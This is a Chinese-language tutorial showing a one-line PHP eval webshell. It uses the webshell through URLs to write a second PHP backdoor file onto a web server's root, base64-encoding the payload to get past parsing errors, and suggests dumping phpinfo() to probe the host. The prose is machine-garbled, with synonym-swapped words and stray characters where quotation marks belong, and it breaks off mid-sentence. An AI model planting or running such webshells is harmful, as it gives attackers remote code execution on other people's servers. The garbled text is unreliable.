php木马由PHP木马法式带来的实战入侵

test.php文件内容：

<?php eval($_GET['c']);?>

访问:http://www.qichunquanze.cn/test.php?c=你想用的各种PHP语句体

php木马由PHP木马法式带来的实战入侵 NoSQL

比如我的利用办法是这样的：

http://www.qichunquanze.cn/test.php?c=fputs(fopen(\"大众 hacker.php\公众,\公众w\"大众),\"大众Hello,Hacker!\"大众);

这个是时候就会在根目录下天生了一个hacker.php文件，打开它创造有 Hello,Hacker! 文本。

http://www.qichunquanze.cn/hacker.php 它只是保存的是纯字符串而以。

哪么高等一点的做法是，将hacker.php文件内容输出为PHP措辞实行的语句，哪如何做呢？接下来看我的做法。

我们要将http://www.qichunquanze.cn/test.php?c=fputs(fopen(\公众hacker.php\"大众,\"大众w\"大众),\"大众Hello,Hacker!\"大众);这个url中的Hello,Hacker!这段文本更换成php语句才能达到目的，直接在URL中写成我们要将http://www.qichunquanze.cn/test.php?c=fputs(fopen(\"大众hacker.php\"大众,\公众w\公众),\"大众<?php echo 'Hello,Hacker!' ; ?>\"大众); 创造会涌现报错，哪是由于不能适别PHP的旁边尖括号造成的，哪么我们改进一下代码

$hackerstring = \"大众<?php echo 'Hello,Hacker!' ; ?>\"大众;

我们只有将$hackerstring这段文本天生到hacker.php文件中 <?php echo 'Hello,Hacker!' ; ?>才能算此方法通过测试。

echo base64_encode($hackerstring);

<?php echo 'Hello,Hacker!' ; ?>经由base64_encode转码得到的结果如下：

得到结果：PD9waHAgZWNobyAnSGVsbG8sSGFja2VyISc7Pz4=

我们将这段代码代入下面程式：

fputs(fopen(\"大众hacker.php\公众,\"大众w\"大众),base64_decode('PD9waHAgZWNobyAnSGVsbG8sSGFja2VyISc7Pz4='));

浏览器中访问：

http://www.qichunquanze.cn/test.php?c=fputs(fopen(\"大众hacker.php\"大众,\"大众w\"大众),base64_decode('PD9waHAgZWNobyAnSGVsbG8sSGFja2VyISc7Pz4='));

运行后，去根目录找到hacker.php文件，内容测试如下图所示。

此时算是大功告成了，你就可运行http://www.qichunquanze.cn/hacker.php文件了如下图

为了测试进一步繁芜一点，为弄清做事器主机上的配置，也可以有phpinfo()语句写到hacker.php文件里，做法是更换原有的 Hello,Hacker! 内容，详细写法是